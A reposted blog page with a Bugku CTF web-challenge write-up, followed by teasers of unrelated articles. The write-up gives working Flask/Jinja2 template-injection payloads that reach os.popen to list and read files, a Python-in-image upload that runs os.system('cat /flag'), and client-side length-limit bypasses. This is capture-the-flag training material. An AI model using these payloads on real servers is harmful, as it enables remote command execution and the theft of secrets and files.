bugku.ctf ---WEB(还有后续)

news2024/9/23 17:18:56

bugku.ctf ---WEB

1.Simple_SSTI_1

1.启动场景

2. 页面说你需要输入一个名为flag的参数。

3.查看网页源代码,提示在flask中,设置了secret_key。意思是在注入模板中输入内容就会显示对应的值。

4.传入?flag={{config.SECRET_KEY}}显示flag

 2.Simple_SSTI_2

魔术对象:

__class__:返回类型所属的对象

__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__base__"返回该对象所继承的基类          // __base__和__mro__都是用来寻找基类的

__subclasses__:获取当前类的所有子类

__init__ :类的初始化方法

__globals__:对包含(保存)函数全局变量的字典的引用

os.popen():

__globals__[‘os’].popen(‘ls’,‘r’).read()

1.启动好环境之后 依旧是服务端模板注入,查看源代码没有可利用的信息

2.http://114.67.175.224:19941/?flag={{config}}

3.使用ls查看有哪些文件:

?flag={{config.__class__.__init__.__globals__['os'].popen('ls','r').read()}}

4.发现了flag文件,直接cat查看?flag={{config.__class__.__init__.__globals__['os'].popen('cat flag','r').read()}}

3.Flask_FileUpload

新建txt,输入: import os os.system('ls /') 保存为a.png,然后上传,发现根目录下有个flag, 然后在修改txt内容为: import os os.system('cat /flag') 保存后,再上传,在新页面中查看源码,得到flag      ***因为python执行系统命令需要os这个库***

源码限制了白名单为jpg、png 上传php失败了

查看源代码意思为:上传文件,我会返回python运行的结果 

上传一下jpg

使用os模块,并把后缀改为jpg上传抓包,发现jpg内的代码执行成功,但是没有显示flag,说明不在当前目录下。

import os

os.system('ls/')

查看根目录下的文件,发现flag位置。

 import os

os.system('cat /flag')

4.留言板

5.滑稽

1.启动环境后页面显示这个

2.查看页面源代码

6.计算器

计算题答案填进去就行了,但是发现有长度限制

F12发现输入框maxlength="1",意思是最大长度是1,改大一点提交

7.GET

代码告诉我们用get方式对what进行传参

?what=flag即可。

8.POST

用POST方式对what进行传参。

抓包 在repeater模块下右键,改变提交方式,Change request method

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1966612.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Android】安卓多媒体之通知、摄像头、相册、播放音乐、视频用法总结

文章目录 一、通知1. 申请权限2. 创建通道3. 创建通知4. 发送通知拓展功能点击行为更新通知取消通知锁屏通知富文本通知 二、摄像头1. 申请权限2. 调用逻辑3. 声明内容提供器 三、打开相册1. 申请权限检查并请求权限处理权限请求结果 2.处理图片从相册中选择图片处理选择图片的…

反应力场lammps和reaxff,再加上智能计算模拟,你恐怕没见过这种绝妙组合

“第一性原理分子动力学机器学习”三位一体的综合手段,已经成为模拟计算的一个前沿方向,为解决传统计算化学方法面临的挑战提供了新的解决方案。国内外已有科研团队在深化第一性原理与分子动力学的研究与应用拓展,利用机器学习优化大规模计算…

yolov5训练的pt模型,转换为rknn并部署在瑞芯微RK3588开发板

一、下载源码 在GitHub中搜索并下载yolov5的源代码,然后放在自己部署好的项目环境。 直接用下面的命令即可部署适合yolov5的环境,至于缺什么库,什么版本不对的可以百度查一下。 pt模型转onnx模型 我这里已经把源码下载好并加载好了我的虚拟…

Redis CLI常用命令

Redis CLI常用命令 1. 设置和获取数据 SET Redis 中的数据是以键值对的形式存储的,所以需要指定一个键和一个值,键和值用空格隔开; Redis 中默认使用字符串存储数据; 3. 删除键 DEL 4. 判断键是否存在 exists 5. 查找键 KEYS 查…

环境参数自动调节设备:智能生活的绿色守护者

在当今社会,随着科技的飞速发展和人们生活水平的不断提升,对居住环境的要求也日益增高。一个舒适、健康的生活空间,不仅关乎温度、湿度、空气质量等基本环境因素,还涉及到光照、噪音控制等多个维度。为了满足这些多元化的需求&…

【Docomo】5G

我们想向您介绍第五代移动通信系统“5G”。 5G 什么是5G?支持5G的技术什么是 5G SA(独立)?实现高速率、大容量的5G新频段Docomo的“瞬时5G”使用三个宽广的新频段 什么是5G? 5G(第五代移动通信系统&#x…

技术设计评审的重要性及实战指南:让每一行代码都熠熠生辉

在这个快速迭代的软件开发时代,技术设计评审(Technical Design Review, 简称TDR)不仅是项目成功的关键一环,更是每位程序员职业生涯中不可或缺的“导航灯”。它如同一面镜子,让团队能够清晰地看到设计的全貌,及时修正偏差,确保项目朝着既定的目标稳健前行。关注【程序员…

服务器给根目录扩展磁盘(不使用lvm逻辑券)两种方式

因业务需求磁盘存储增加现在需要给/目录进行扩容,因为是云服务器直接在原有的磁盘增加了100G空间现在把新增的100G扩容到/目录分区。 有两种方法一种是使用growpart 工具扩容,一种是使用fdisk命令 使用growpart工具扩容 yum install -y cloud-utils-grow…

为什么我工作 10 年后转行当程序员?逆袭翻盘!

今天文章的主人公暂且称他为 A 君。不过 A 君有点特别,非科班,工作 10 年后才转行 iOS 程序员。今年 36 岁,目前在某行业头部企业任职前端负责人,管理 40 人的前端团队。 废话不多说,我们开始 A 君(为了描…

并发编程工具集——Future(二十七)

简介: 创建完线程池,该如何使用获取任务的执行结果(execute() 方法没有返回值)。 如何获取任务执行结果 Java 通过 ThreadPoolExecutor 提供的 3 个 submit() 方法和 1 个 FutureTask 工具类来支持获得任务执行结果的需求。三个su…

2024年哪些充电宝建议买?最建议买的四款充电宝排行榜!

在 2024 年,充电宝依然是我们生活中不可或缺的电子伴侣。然而,面对市场上众多的充电宝品牌和型号,要挑选到一款既实用又安全可靠的产品并非易事。充电宝的安全性至关重要,毕竟它与我们随身携带的电子设备紧密相连。劣质的充电宝可…

C++软件开发值得推荐的十大高效软件分析工具

目录 1、概述 2、高效软件工具介绍 2.1、窗口查看工具SPY++ 2.2、Dependency Walker 2.3、剪切板查看工具Clipbrd 2.4、GDI对象查看工具GDIView 2.5、Process Explorer 2.6、Prcoess Monitor 2.7、API Monitor 2.8、调试器Windbg 2.9、反汇编工具IDA 2.10、抓包工…

[240801] 类 C 语言 C3 是一种进化,而不是一场革命 | 趣文: find + mkdir 是图灵完备

目录 类 C 语言 C3 是一种进化,而不是一场革命C3 编程语言特征C3 设计原则安装 C3 编程语言第一个 C3 项目 趣文:find mkdir 是图灵完备 类 C 语言 C3 是一种进化,而不是一场革命 C3 是基于 C 的编程语言,它是 C 的一种演变&…

2024最新全开源付费进群系统源码二开修复版 支持易支付

内容目录 一、详细介绍二、效果展示1.部分代码2.效果图展示 三、学习资料下载 一、详细介绍 全开源付费进群系统源码,开源无加密无授权,优化电脑端访问布局,支持dai理,对接易支付通道,dai理可以配置自己易支付接口&am…

【北京迅为】《i.MX8MM嵌入式Linux开发指南》-第四篇 嵌入式Linux系统移植篇-第七十二章 内核配置屏幕驱动

i.MX8MM处理器采用了先进的14LPCFinFET工艺,提供更快的速度和更高的电源效率;四核Cortex-A53,单核Cortex-M4,多达五个内核 ,主频高达1.8GHz,2G DDR4内存、8G EMMC存储。千兆工业级以太网、MIPI-DSI、USB HOST、WIFI/BT…

ChatGPT:数据库不符合第二范式示例

ChatGPT:数据库不符合第二范式示例 这张图片为什么不符合数据库第二范式 这个表格不符合数据库第二范式(2NF)的原因如下: 1. 数据库第二范式(2NF)定义 第二范式要求一个数据库表格在满足第一范式&#xf…

【Hot100】LeetCode—169. 多数元素

目录 题目1- 思路2- 实现⭐169. 多数元素——题解思路 3- ACM 实现 题目 原题连接:169. 多数元素 1- 思路 定义两个变量 一个是 count:维护当前元素的出现次数一个是 ret :维护当前元素 思路 遍历整个数组**①如果 count 0 **&#xff…

了解对称加密与密钥协商技术

1.对称加密算法 加密的理论基础是替代和换位。替代主要用于扰乱,使用不同的位、字符或字符分组来替换原来的位、字符或字符分组。换位主要用于扩散,并不使用不同的文本来替换原来的文本,而是对原有的值进行置换,即重新排列原来的位…

Django开发企业官网

1.在本地创建一个website的文件夹,在vc里面打开文件夹 2.创建虚拟环境和安装django 终端执行命令 python -m venv venv(创建一个虚拟文件名字叫venv) venv\Scripts\activate(启动虚拟环境) pip install django(安装django&#x…

CRC的手算过程——MODBUS

软件计算结果: 原理参考下面的文章: https://www.cnblogs.com/esestt/archive/2007/08/09/848856.html https://blog.csdn.net/weixin_44256803/article/details/105805628 https://blog.csdn.net/d_leo/article/details/73572373 手算过程如下&#x…